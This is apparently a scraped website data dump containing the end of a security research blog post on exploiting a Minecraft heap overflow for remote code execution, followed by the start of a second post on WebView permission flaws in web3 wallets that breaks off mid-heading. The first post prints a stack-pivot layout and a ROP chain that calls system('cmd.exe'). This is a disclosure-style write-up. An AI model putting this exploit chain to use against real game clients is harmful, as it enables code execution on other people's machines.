|\n +-----------------------------+\n+0x18 | padding (pop r14) |\n +-----------------------------+\n+0x20 | ROP Chain |\n +-----------------------------+\n",[157155],{"type":24,"tag":154,"props":157156,"children":157157},{"__ignoreMap":7},[157158],{"type":29,"value":157153},{"type":24,"tag":25,"props":157160,"children":157161},{},[157162,157164,157169,157171,157176,157178,157183,157185,157190,157192,157197,157199,157204,157206,157211],{"type":29,"value":157163},"The second gadget, ",{"type":24,"tag":154,"props":157165,"children":157167},{"className":157166},[],[157168],{"type":29,"value":157141},{"type":29,"value":157170},", is placed in the slot corresponding to the ",{"type":24,"tag":154,"props":157172,"children":157174},{"className":157173},[],[157175],{"type":29,"value":21984},{"type":29,"value":157177}," function pointer. As mentioned earlier, when ",{"type":24,"tag":154,"props":157179,"children":157181},{"className":157180},[],[157182],{"type":29,"value":156940},{"type":29,"value":157184}," is called, ",{"type":24,"tag":154,"props":157186,"children":157188},{"className":157187},[],[157189],{"type":29,"value":58047},{"type":29,"value":157191}," contains a pointer to ",{"type":24,"tag":154,"props":157193,"children":157195},{"className":157194},[],[157196],{"type":29,"value":156925},{"type":29,"value":157198}," - which we have overwritten and now points to our ",{"type":24,"tag":154,"props":157200,"children":157202},{"className":157201},[],[157203],{"type":29,"value":157134},{"type":29,"value":157205}," gadget in ",{"type":24,"tag":154,"props":157207,"children":157209},{"className":157208},[],[157210],{"type":29,"value":156687},{"type":29,"value":347},{"type":24,"tag":25,"props":157213,"children":157214},{},[157215,157217,157223,157225,157230,157232,157238,157240,157245,157247,157252,157254,157259,157261,157266,157268,157273,157275,157280],{"type":29,"value":157216},"When the call occurs, ",{"type":24,"tag":154,"props":157218,"children":157220},{"className":157219},[],[157221],{"type":29,"value":157222},"xchg rsp, rax",{"type":29,"value":157224}," swaps the stack pointer with this controlled pointer inside ",{"type":24,"tag":154,"props":157226,"children":157228},{"className":157227},[],[157229],{"type":29,"value":156687},{"type":29,"value":157231},", effectively moving ",{"type":24,"tag":154,"props":157233,"children":157235},{"className":157234},[],[157236],{"type":29,"value":157237},"rsp",{"type":29,"value":157239}," into our ROP region. After the ",{"type":24,"tag":154,"props":157241,"children":157243},{"className":157242},[],[157244],{"type":29,"value":1824},{"type":29,"value":157246},", execution continues at ",{"type":24,"tag":154,"props":157248,"children":157250},{"className":157249},[],[157251],{"type":29,"value":157134},{"type":29,"value":157253},", which advances ",{"type":24,"tag":154,"props":157255,"children":157257},{"className":157256},[],[157258],{"type":29,"value":157237},{"type":29,"value":157260}," by ",{"type":24,"tag":154,"props":157262,"children":157264},{"className":157263},[],[157265],{"type":29,"value":45803},{"type":29,"value":157267}," bytes, skipping over the padding and the ",{"type":24,"tag":154,"props":157269,"children":157271},{"className":157270},[],[157272],{"type":29,"value":157141},{"type":29,"value":157274}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":24,"tag":154,"props":157276,"children":157278},{"className":157277},[],[157279],{"type":29,"value":157141},{"type":29,"value":157281},") begins executing.",{"type":24,"tag":395,"props":157283,"children":157285},{"id":157284},"rop-chain",[157286],{"type":29,"value":157287},"ROP Chain",{"type":24,"tag":25,"props":157289,"children":157290},{},[157291,157293,157299,157301,157306],{"type":29,"value":157292},"For the demo, the ROP chain simply calls ",{"type":24,"tag":154,"props":157294,"children":157296},{"className":157295},[],[157297],{"type":29,"value":157298},"system(\"cmd.exe\")",{"type":29,"value":157300},". Because Minecraft does not use ",{"type":24,"tag":154,"props":157302,"children":157304},{"className":157303},[],[157305],{"type":29,"value":133030},{"type":29,"value":157307},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":24,"tag":25,"props":157309,"children":157310},{},[157311,157313,157319,157321,157327,157329,157334,157336,157342,157344,157349],{"type":29,"value":157312},"This is straightforward: the chain first calls ",{"type":24,"tag":154,"props":157314,"children":157316},{"className":157315},[],[157317],{"type":29,"value":157318},"GetModuleHandle(\"ucrtbase.dll\")",{"type":29,"value":157320}," to obtain the base address of ",{"type":24,"tag":154,"props":157322,"children":157324},{"className":157323},[],[157325],{"type":29,"value":157326},"ucrtbase.dll",{"type":29,"value":157328}," (which exports ",{"type":24,"tag":154,"props":157330,"children":157332},{"className":157331},[],[157333],{"type":29,"value":133030},{"type":29,"value":157335},"). It then calls ",{"type":24,"tag":154,"props":157337,"children":157339},{"className":157338},[],[157340],{"type":29,"value":157341},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":29,"value":157343}," to retrieve the function’s address. Finally, it invokes ",{"type":24,"tag":154,"props":157345,"children":157347},{"className":157346},[],[157348],{"type":29,"value":133030},{"type":29,"value":157350}," with the \"cmd.exe\" string.",{"type":24,"tag":25,"props":157352,"children":157353},{},[157354],{"type":29,"value":157355},"In the exploit script, the ROP chain looks something like this:",{"type":24,"tag":147,"props":157357,"children":157359},{"code":157358,"language":20703,"meta":7,"className":20704,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[157360],{"type":24,"tag":154,"props":157361,"children":157362},{"__ignoreMap":7},[157363,157371,157379,157404,157412,157420,157427,157435,157443,157470,157483,157496,157517,157546,157575,157582,157590,157603,157611,157647,157655,157662,157670,157677,157702,157713,157725],{"type":24,"tag":158,"props":157364,"children":157365},{"class":160,"line":161},[157366],{"type":24,"tag":158,"props":157367,"children":157368},{"style":2588},[157369],{"type":29,"value":157370},"# get the address of `GetModuleHandle` to `rax`\n",{"type":24,"tag":158,"props":157372,"children":157373},{"class":160,"line":213},[157374],{"type":24,"tag":158,"props":157375,"children":157376},{"style":188},[157377],{"type":29,"value":157378},"rop.gadget(pop_r8)\n",{"type":24,"tag":158,"props":157380,"children":157381},{"class":160,"line":238},[157382,157387,157391,157396,157400],{"type":24,"tag":158,"props":157383,"children":157384},{"style":188},[157385],{"type":29,"value":157386},"rop.gadget(addr_get_module_handle_a ",{"type":24,"tag":158,"props":157388,"children":157389},{"style":222},[157390],{"type":29,"value":5987},{"type":24,"tag":158,"props":157392,"children":157393},{"style":165},[157394],{"type":29,"value":157395}," 0x",{"type":24,"tag":158,"props":157397,"children":157398},{"style":465},[157399],{"type":29,"value":136147},{"type":24,"tag":158,"props":157401,"children":157402},{"style":188},[157403],{"type":29,"value":2125},{"type":24,"tag":158,"props":157405,"children":157406},{"class":160,"line":259},[157407],{"type":24,"tag":158,"props":157408,"children":157409},{"style":2588},[157410],{"type":29,"value":157411},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":24,"tag":158,"props":157413,"children":157414},{"class":160,"line":280},[157415],{"type":24,"tag":158,"props":157416,"children":157417},{"style":188},[157418],{"type":29,"value":157419},"rop.gadget(mov_rax_r8_28)\n",{"type":24,"tag":158,"props":157421,"children":157422},{"class":160,"line":301},[157423],{"type":24,"tag":158,"props":157424,"children":157425},{"emptyLinePlaceholder":16},[157426],{"type":29,"value":481},{"type":24,"tag":158,"props":157428,"children":157429},{"class":160,"line":626},[157430],{"type":24,"tag":158,"props":157431,"children":157432},{"style":2588},[157433],{"type":29,"value":157434},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":24,"tag":158,"props":157436,"children":157437},{"class":160,"line":668},[157438],{"type":24,"tag":158,"props":157439,"children":157440},{"style":188},[157441],{"type":29,"value":157442},"rop.gadget(pop_rcx)\n",{"type":24,"tag":158,"props":157444,"children":157445},{"class":160,"line":676},[157446,157451,157456,157461,157465],{"type":24,"tag":158,"props":157447,"children":157448},{"style":188},[157449],{"type":29,"value":157450},"rop.gadget(",{"type":24,"tag":158,"props":157452,"children":157453},{"style":165},[157454],{"type":29,"value":157455},"0x",{"type":24,"tag":158,"props":157457,"children":157458},{"style":465},[157459],{"type":29,"value":157460},"7468B68",{"type":24,"tag":158,"props":157462,"children":157463},{"style":188},[157464],{"type":29,"value":723},{"type":24,"tag":158,"props":157466,"children":157467},{"style":2588},[157468],{"type":29,"value":157469},"# offset of \"ucrtbase.dll\" string\n",{"type":24,"tag":158,"props":157471,"children":157472},{"class":160,"line":684},[157473,157478],{"type":24,"tag":158,"props":157474,"children":157475},{"style":188},[157476],{"type":29,"value":157477},"rop.gadget(ret) ",{"type":24,"tag":158,"props":157479,"children":157480},{"style":2588},[157481],{"type":29,"value":157482},"# movaps alignment\n",{"type":24,"tag":158,"props":157484,"children":157485},{"class":160,"line":700},[157486,157491],{"type":24,"tag":158,"props":157487,"children":157488},{"style":188},[157489],{"type":29,"value":157490},"rop.gadget(push_rax_ret) ",{"type":24,"tag":158,"props":157492,"children":157493},{"style":2588},[157494],{"type":29,"value":157495},"# calls `GetModuleHandle`\n",{"type":24,"tag":158,"props":157497,"children":157498},{"class":160,"line":785},[157499,157504,157508,157513],{"type":24,"tag":158,"props":157500,"children":157501},{"style":188},[157502],{"type":29,"value":157503},"rop.literal(u64(",{"type":24,"tag":158,"props":157505,"children":157506},{"style":165},[157507],{"type":29,"value":741},{"type":24,"tag":158,"props":157509,"children":157510},{"style":1108},[157511],{"type":29,"value":157512},"\"ucrtbase\"",{"type":24,"tag":158,"props":157514,"children":157515},{"style":188},[157516],{"type":29,"value":20955},{"type":24,"tag":158,"props":157518,"children":157519},{"class":160,"line":1447},[157520,157524,157528,157533,157538,157542],{"type":24,"tag":158,"props":157521,"children":157522},{"style":188},[157523],{"type":29,"value":157503},{"type":24,"tag":158,"props":157525,"children":157526},{"style":165},[157527],{"type":29,"value":741},{"type":24,"tag":158,"props":157529,"children":157530},{"style":1108},[157531],{"type":29,"value":157532},"\".dll",{"type":24,"tag":158,"props":157534,"children":157535},{"style":49644},[157536],{"type":29,"value":157537},"\\x00\\x00\\x00\\x00",{"type":24,"tag":158,"props":157539,"children":157540},{"style":1108},[157541],{"type":29,"value":21303},{"type":24,"tag":158,"props":157543,"children":157544},{"style":188},[157545],{"type":29,"value":20955},{"type":24,"tag":158,"props":157547,"children":157548},{"class":160,"line":1509},[157549,157553,157557,157562,157567,157571],{"type":24,"tag":158,"props":157550,"children":157551},{"style":188},[157552],{"type":29,"value":157503},{"type":24,"tag":158,"props":157554,"children":157555},{"style":165},[157556],{"type":29,"value":741},{"type":24,"tag":158,"props":157558,"children":157559},{"style":1108},[157560],{"type":29,"value":157561},"\"system",{"type":24,"tag":158,"props":157563,"children":157564},{"style":49644},[157565],{"type":29,"value":157566},"\\x00\\x00",{"type":24,"tag":158,"props":157568,"children":157569},{"style":1108},[157570],{"type":29,"value":21303},{"type":24,"tag":158,"props":157572,"children":157573},{"style":188},[157574],{"type":29,"value":20955},{"type":24,"tag":158,"props":157576,"children":157577},{"class":160,"line":1527},[157578],{"type":24,"tag":158,"props":157579,"children":157580},{"emptyLinePlaceholder":16},[157581],{"type":29,"value":481},{"type":24,"tag":158,"props":157583,"children":157584},{"class":160,"line":1545},[157585],{"type":24,"tag":158,"props":157586,"children":157587},{"style":2588},[157588],{"type":29,"value":157589},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":24,"tag":158,"props":157591,"children":157592},{"class":160,"line":1618},[157593,157598],{"type":24,"tag":158,"props":157594,"children":157595},{"style":188},[157596],{"type":29,"value":157597},"rop.gadget(xchg_rcx_rax) ",{"type":24,"tag":158,"props":157599,"children":157600},{"style":2588},[157601],{"type":29,"value":157602},"# move the return value of `GetModuleHandle` to rcx\n",{"type":24,"tag":158,"props":157604,"children":157605},{"class":160,"line":1635},[157606],{"type":24,"tag":158,"props":157607,"children":157608},{"style":188},[157609],{"type":29,"value":157610},"rop.gadget(pop_rdx)\n",{"type":24,"tag":158,"props":157612,"children":157613},{"class":160,"line":1644},[157614,157618,157622,157626,157630,157634,157638,157642],{"type":24,"tag":158,"props":157615,"children":157616},{"style":188},[157617],{"type":29,"value":157450},{"type":24,"tag":158,"props":157619,"children":157620},{"style":165},[157621],{"type":29,"value":157455},{"type":24,"tag":158,"props":157623,"children":157624},{"style":465},[157625],{"type":29,"value":157460},{"type":24,"tag":158,"props":157627,"children":157628},{"style":222},[157629],{"type":29,"value":2308},{"type":24,"tag":158,"props":157631,"children":157632},{"style":165},[157633],{"type":29,"value":157395},{"type":24,"tag":158,"props":157635,"children":157636},{"style":465},[157637],{"type":29,"value":90531},{"type":24,"tag":158,"props":157639,"children":157640},{"style":188},[157641],{"type":29,"value":723},{"type":24,"tag":158,"props":157643,"children":157644},{"style":2588},[157645],{"type":29,"value":157646},"# offset of \"system\" string\n",{"type":24,"tag":158,"props":157648,"children":157649},{"class":160,"line":1652},[157650],{"type":24,"tag":158,"props":157651,"children":157652},{"style":188},[157653],{"type":29,"value":157654},"rop.gadget(get_proc_addr)\n",{"type":24,"tag":158,"props":157656,"children":157657},{"class":160,"line":1704},[157658],{"type":24,"tag":158,"props":157659,"children":157660},{"emptyLinePlaceholder":16},[157661],{"type":29,"value":481},{"type":24,"tag":158,"props":157663,"children":157664},{"class":160,"line":1713},[157665],{"type":24,"tag":158,"props":157666,"children":157667},{"style":2588},[157668],{"type":29,"value":157669},"# call `system(\"cmd.exe\")`\n",{"type":24,"tag":158,"props":157671,"children":157672},{"class":160,"line":1731},[157673],{"type":24,"tag":158,"props":157674,"children":157675},{"style":188},[157676],{"type":29,"value":157442},{"type":24,"tag":158,"props":157678,"children":157679},{"class":160,"line":5485},[157680,157684,157688,157693,157697],{"type":24,"tag":158,"props":157681,"children":157682},{"style":188},[157683],{"type":29,"value":157450},{"type":24,"tag":158,"props":157685,"children":157686},{"style":165},[157687],{"type":29,"value":157455},{"type":24,"tag":158,"props":157689,"children":157690},{"style":465},[157691],{"type":29,"value":157692},"7468DB8",{"type":24,"tag":158,"props":157694,"children":157695},{"style":188},[157696],{"type":29,"value":723},{"type":24,"tag":158,"props":157698,"children":157699},{"style":2588},[157700],{"type":29,"value":157701},"# offset of \"cmd.exe\" string\n",{"type":24,"tag":158,"props":157703,"children":157704},{"class":160,"line":5493},[157705,157709],{"type":24,"tag":158,"props":157706,"children":157707},{"style":188},[157708],{"type":29,"value":157477},{"type":24,"tag":158,"props":157710,"children":157711},{"style":2588},[157712],{"type":29,"value":157482},{"type":24,"tag":158,"props":157714,"children":157715},{"class":160,"line":5553},[157716,157720],{"type":24,"tag":158,"props":157717,"children":157718},{"style":188},[157719],{"type":29,"value":157490},{"type":24,"tag":158,"props":157721,"children":157722},{"style":2588},[157723],{"type":29,"value":157724},"# calls `system`\n",{"type":24,"tag":158,"props":157726,"children":157727},{"class":160,"line":10636},[157728,157732,157736,157741,157746,157750],{"type":24,"tag":158,"props":157729,"children":157730},{"style":188},[157731],{"type":29,"value":157503},{"type":24,"tag":158,"props":157733,"children":157734},{"style":165},[157735],{"type":29,"value":741},{"type":24,"tag":158,"props":157737,"children":157738},{"style":1108},[157739],{"type":29,"value":157740},"\"cmd.exe",{"type":24,"tag":158,"props":157742,"children":157743},{"style":49644},[157744],{"type":29,"value":157745},"\\x00",{"type":24,"tag":158,"props":157747,"children":157748},{"style":1108},[157749],{"type":29,"value":21303},{"type":24,"tag":158,"props":157751,"children":157752},{"style":188},[157753],{"type":29,"value":20955},{"type":24,"tag":395,"props":157755,"children":157757},{"id":157756},"demo",[157758],{"type":29,"value":157759},"Demo",{"type":24,"tag":25,"props":157761,"children":157762},{},[157763],{"type":29,"value":157764},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":24,"tag":133136,"props":157766,"children":157769},{"className":157767,"controls":16},[143103,157768],"blog-video-wide",[157770,157771,157775],{"type":29,"value":143106},{"type":24,"tag":142342,"props":157772,"children":157774},{"src":157773,"type":133134},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":29,"value":143112},{"type":24,"tag":59,"props":157777,"children":157778},{"id":30191},[157779],{"type":29,"value":20189},{"type":24,"tag":25,"props":157781,"children":157782},{},[157783],{"type":29,"value":157784},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":24,"tag":25,"props":157786,"children":157787},{},[157788],{"type":29,"value":157789},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":24,"tag":25,"props":157791,"children":157792},{},[157793],{"type":29,"value":157794},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":24,"tag":4517,"props":157796,"children":157797},{},[157798],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":157800},[157801,157805,157810,157821],{"id":148461,"depth":213,"text":148464,"children":157802},[157803,157804],{"id":148496,"depth":238,"text":148499},{"id":148512,"depth":238,"text":148515},{"id":148533,"depth":213,"text":148536,"children":157806},[157807,157808,157809],{"id":148549,"depth":238,"text":148552},{"id":148637,"depth":238,"text":148640},{"id":150937,"depth":238,"text":150940},{"id":7074,"depth":213,"text":7077,"children":157811},[157812,157813,157814,157815,157816,157817,157818,157819,157820],{"id":151044,"depth":238,"text":151047},{"id":151069,"depth":238,"text":151072},{"id":151206,"depth":238,"text":151209},{"id":153370,"depth":238,"text":153373},{"id":153732,"depth":238,"text":153735},{"id":154552,"depth":238,"text":154555},{"id":156666,"depth":238,"text":156669},{"id":157284,"depth":238,"text":157287},{"id":157756,"depth":238,"text":157759},{"id":30191,"depth":213,"text":20189},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":157826,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":157827,"description":157828,"date":157829,"author":157830,"image":157832,"isFeatured":16,"onBlogPage":16,"tags":157834,"body":157836,"_type":4536,"_id":160159,"_source":4538,"_file":160160,"_stem":160161,"_extension":4541},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[32462,32461,157831],"nikolaos",{"src":157833,"width":98546,"height":14857},"/posts/insecure-webview-integrations/title.png",[33402,133242,157835],"webview",{"type":21,"children":157837,"toc":160146},[157838,157843,157848,157854,157859,157864,157869,157875,157880,157886,157908,157921,157941,157955,157961,157975,157983,157988,157994,157999,158008,158029,158173,158178,158184,158189,158194,158208,158212,158217,158235,159663,159667,159672,159684,159693,159698,159704,159726,159734,159739,159745,159750,159768,159773,159779,159792,160074,160102,160115,160120,160133,160137,160142],{"type":24,"tag":25,"props":157839,"children":157840},{},[157841],{"type":29,"value":157842},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":24,"tag":25,"props":157844,"children":157845},{},[157846],{"type":29,"value":157847},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":24,"tag":36636,"props":157849,"children":157851},{"id":157850},"exploiting-mobile-webviews",[157852],{"type":29,"value":157853},"Exploiting Mobile WebViews",{"type":24,"tag":25,"props":157855,"children":157856},{},[157857],{"type":29,"value":157858},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":24,"tag":25,"props":157860,"children":157861},{},[157862],{"type":29,"value":157863},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":24,"tag":25,"props":157865,"children":157866},{},[157867],{"type":29,"value":157868},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":24,"tag":59,"props":157870,"children":157872},{"id":157871},"handling-webview-permissions",[157873],{"type":29,"value":157874},"Handling WebView permissions",{"type":24,"tag":25,"props":157876,"children":157877},{},[157878],{"type":29,"value":157879},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":24,"tag":395,"props":157881,"children":157883},{"id":157882},"android",[157884],{"type":29,"value":157885},"Android",{"type":24,"tag":25,"props":157887,"children":157888},{},[157889,157891,157898,157900,157906],{"type":29,"value":157890},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":24,"tag":101,"props":157892,"children":157895},{"href":157893,"rel":157894},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[105],[157896],{"type":29,"value":157897},"onPermissionRequest",{"type":29,"value":157899},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":24,"tag":154,"props":157901,"children":157903},{"className":157902},[],[157904],{"type":29,"value":157905},"PermissionRequest",{"type":29,"value":157907}," object where the WebView developers must decide whether to grant or deny it.",{"type":24,"tag":4606,"props":157909,"children":157910},{},[157911],{"type":24,"tag":25,"props":157912,"children":157913},{},[157914,157916,157919],{"type":29,"value":157915},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":24,"tag":158,"props":157917,"children":157918},{},[],{"type":29,"value":157920},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":24,"tag":25,"props":157922,"children":157923},{},[157924,157926,157932,157934,157940],{"type":29,"value":157925},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":24,"tag":154,"props":157927,"children":157929},{"className":157928},[],[157930],{"type":29,"value":157931},"getOrigin()",{"type":29,"value":157933}," and the requested permissions with ",{"type":24,"tag":154,"props":157935,"children":157937},{"className":157936},[],[157938],{"type":29,"value":157939},"getResources()",{"type":29,"value":347},{"type":24,"tag":25,"props":157942,"children":157943},{},[157944,157946,157953],{"type":29,"value":157945},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":24,"tag":101,"props":157947,"children":157950},{"href":157948,"rel":157949},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[105],[157951],{"type":29,"value":157952},"webview_shell",{"type":29,"value":157954},". In this instance, no origin checks are performed.",{"type":24,"tag":395,"props":157956,"children":157958},{"id":157957},"ios",[157959],{"type":29,"value":157960},"iOS",{"type":24,"tag":25,"props":157962,"children":157963},{},[157964,157966,157973],{"type":29,"value":157965},"On the contrary, iOS ",{"type":24,"tag":101,"props":157967,"children":157970},{"href":157968,"rel":157969},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[105],[157971],{"type":29,"value":157972},"documentation",{"type":29,"value":157974}," states that:",{"type":24,"tag":4606,"props":157976,"children":157977},{},[157978],{"type":24,"tag":25,"props":157979,"children":157980},{},[157981],{"type":29,"value":157982},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":24,"tag":25,"props":157984,"children":157985},{},[157986],{"type":29,"value":157987},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":24,"tag":59,"props":157989,"children":157991},{"id":157990},"the-shortcomings-of-webview-implementations",[157992],{"type":29,"value":157993},"The shortcomings of WebView implementations",{"type":24,"tag":25,"props":157995,"children":157996},{},[157997],{"type":29,"value":157998},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":24,"tag":32607,"props":158000,"children":158001},{"style":32609},[158002],{"type":24,"tag":84,"props":158003,"children":158007},{"src":158004,"alt":158005,"style":158006},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":158009,"children":158010},{},[158011,158013,158019,158021,158027],{"type":29,"value":158012},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":24,"tag":154,"props":158014,"children":158016},{"className":158015},[],[158017],{"type":29,"value":158018},"react-native-webview",{"type":29,"value":158020},". If we take a look at how they handle a request that reaches the ",{"type":24,"tag":101,"props":158022,"children":158025},{"href":158023,"rel":158024},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[105],[158026],{"type":29,"value":157897},{"type":29,"value":158028}," method, we see a similar pattern.",{"type":24,"tag":147,"props":158030,"children":158034},{"className":158031,"code":158032,"language":158033,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n request.grant(grantedPermissions.toArray(new String[0]));\n grantedPermissions = null;\n return;\n}\n","java",[158035],{"type":24,"tag":154,"props":158036,"children":158037},{"__ignoreMap":7},[158038,158046,158075,158135,158155,158166],{"type":24,"tag":158,"props":158039,"children":158040},{"class":160,"line":161},[158041],{"type":24,"tag":158,"props":158042,"children":158043},{"style":2588},[158044],{"type":29,"value":158045},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":24,"tag":158,"props":158047,"children":158048},{"class":160,"line":213},[158049,158053,158057,158062,158066,158071],{"type":24,"tag":158,"props":158050,"children":158051},{"style":1914},[158052],{"type":29,"value":16815},{"type":24,"tag":158,"props":158054,"children":158055},{"style":188},[158056],{"type":29,"value":2262},{"type":24,"tag":158,"props":158058,"children":158059},{"style":177},[158060],{"type":29,"value":158061},"requestedAndroidPermissions",{"type":24,"tag":158,"props":158063,"children":158064},{"style":188},[158065],{"type":29,"value":347},{"type":24,"tag":158,"props":158067,"children":158068},{"style":496},[158069],{"type":29,"value":158070},"isEmpty",{"type":24,"tag":158,"props":158072,"children":158073},{"style":188},[158074],{"type":29,"value":93299},{"type":24,"tag":158,"props":158076,"children":158077},{"class":160,"line":238},[158078,158083,158087,158092,158096,158101,158105,158110,158114,158118,158123,158127,158131],{"type":24,"tag":158,"props":158079,"children":158080},{"style":177},[158081],{"type":29,"value":158082}," request",{"type":24,"tag":158,"props":158084,"children":158085},{"style":188},[158086],{"type":29,"value":347},{"type":24,"tag":158,"props":158088,"children":158089},{"style":496},[158090],{"type":29,"value":158091},"grant",{"type":24,"tag":158,"props":158093,"children":158094},{"style":188},[158095],{"type":29,"value":504},{"type":24,"tag":158,"props":158097,"children":158098},{"style":177},[158099],{"type":29,"value":158100},"grantedPermissions",{"type":24,"tag":158,"props":158102,"children":158103},{"style":188},[158104],{"type":29,"value":347},{"type":24,"tag":158,"props":158106,"children":158107},{"style":496},[158108],{"type":29,"value":158109},"toArray",{"type":24,"tag":158,"props":158111,"children":158112},{"style":188},[158113],{"type":29,"value":504},{"type":24,"tag":158,"props":158115,"children":158116},{"style":1914},[158117],{"type":29,"value":16357},{"type":24,"tag":158,"props":158119,"children":158120},{"style":171},[158121],{"type":29,"value":158122}," String",{"type":24,"tag":158,"props":158124,"children":158125},{"style":188},[158126],{"type":29,"value":2048},{"type":24,"tag":158,"props":158128,"children":158129},{"style":465},[158130],{"type":29,"value":5682},{"type":24,"tag":158,"props":158132,"children":158133},{"style":188},[158134],{"type":29,"value":104790},{"type":24,"tag":158,"props":158136,"children":158137},{"class":160,"line":259},[158138,158143,158147,158151],{"type":24,"tag":158,"props":158139,"children":158140},{"style":188},[158141],{"type":29,"value":158142}," grantedPermissions ",{"type":24,"tag":158,"props":158144,"children":158145},{"style":222},[158146],{"type":29,"value":1285},{"type":24,"tag":158,"props":158148,"children":158149},{"style":165},[158150],{"type":29,"value":71545},{"type":24,"tag":158,"props":158152,"children":158153},{"style":188},[158154],{"type":29,"value":473},{"type":24,"tag":158,"props":158156,"children":158157},{"class":160,"line":280},[158158,158162],{"type":24,"tag":158,"props":158159,"children":158160},{"style":1914},[158161],{"type":29,"value":18227},{"type":24,"tag":158,"props":158163,"children":158164},{"style":188},[158165],{"type":29,"value":473},{"type":24,"tag":158,"props":158167,"children":158168},{"class":160,"line":301},[158169],{"type":24,"tag":158,"props":158170,"children":158171},{"style":188},[158172],{"type":29,"value":307},{"type":24,"tag":25,"props":158174,"children":158175},{},[158176],{"type":29,"value":158177},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":24,"tag":395,"props":158179,"children":158181},{"id":158180},"real-world-exploitation",[158182],{"type":29,"value":158183},"Real world 